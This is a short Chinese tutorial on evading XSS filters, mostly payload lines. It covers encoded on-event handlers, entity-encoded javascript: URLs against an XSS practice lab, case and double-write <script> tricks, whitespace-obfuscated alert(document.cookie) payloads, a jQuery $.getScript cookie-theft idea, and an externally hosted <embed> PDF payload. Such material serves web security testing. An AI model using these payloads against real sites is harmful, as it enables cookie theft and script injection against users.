xss
漏洞不多介绍,烂大街的~ 这里就讲这么绕过一些过滤
验证了on事件=
比如验证的是如下符号存在就会拦截
1 | onerror= |
2 | onclick= |
3 | onload= |
4 | onxxxxx= |
那么我们可以这样子绕过
1 | onerror+= |
2 | onerror%0a= |
3 | onerror%0d= |
4 | onerror%09= |
将javascript:alert
变成了javascr_ipt:alert
比如如下链接就是这样子过滤的,那么我们可以将其ascii
编码
1 | http://test.xss.tv/level8.php?keyword=%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2341%3B&submit=添加友情链接 |
还可以用%09
绕过
1 | javascr%09ipt:alert(1) |
还可以%0a、%0d
绕过
过滤了<script>
- 大小写绕过(
<SCriPt>
) - 双写绕过(
<scr<script>ipt>
,他会把中间的<script>
过滤掉,然后最终变成<script>
)
打cookie
绕过方法
很多站waf
没限制弹窗,但是限制获取cookie
限制原生代码写的远程加载js
文件,那么我们可以利用框架
比如www.a.com
站有jquery
框架,那么我们可以这样子来引入JS
文件来打cookie
,案例如下
jquery
中可以用$.getScript()
函数来引入js
文件
空格代替符
%0a、%0d、%09
在url
解码后都会变为空格,所以我们可以将其加入在js
代码中,就可以达到扰乱一些waf
规则
1 | <script>%09alert%09(1);<script> |
2 | </script> |
3 | <script>%0aalert%0a(1);</script> |
4 | <script>alert(document%0a.%09cookie);</script> |
5 | <script>alert(%0ddocument%0a.%09cookie);</script> |
函数绕过
js
中,函数不仅可以这样
1 | (alert)(1); |
还可以这样
1 | (alert)(1); |
传参可以这样
1 | alert(1); |
还可以这样
1 | alert`1`; |
配合空格替代符效果会更好。
embed
解析导致的xss
这个解析的条件得在新浏览器才可以,但是很鸡肋,因为无法打cookie
(因为这个不是目标网站的域),所以只能执行一些其他的js
代码,如跳转,弹窗等,xss payload
如下
1 | <embed src='http://static.zybuluo.com/1kbfree/2o0dq6spzahj8z7yjg64akgp/xss1.pdf'> |
如果以后遇到的话会再次更新~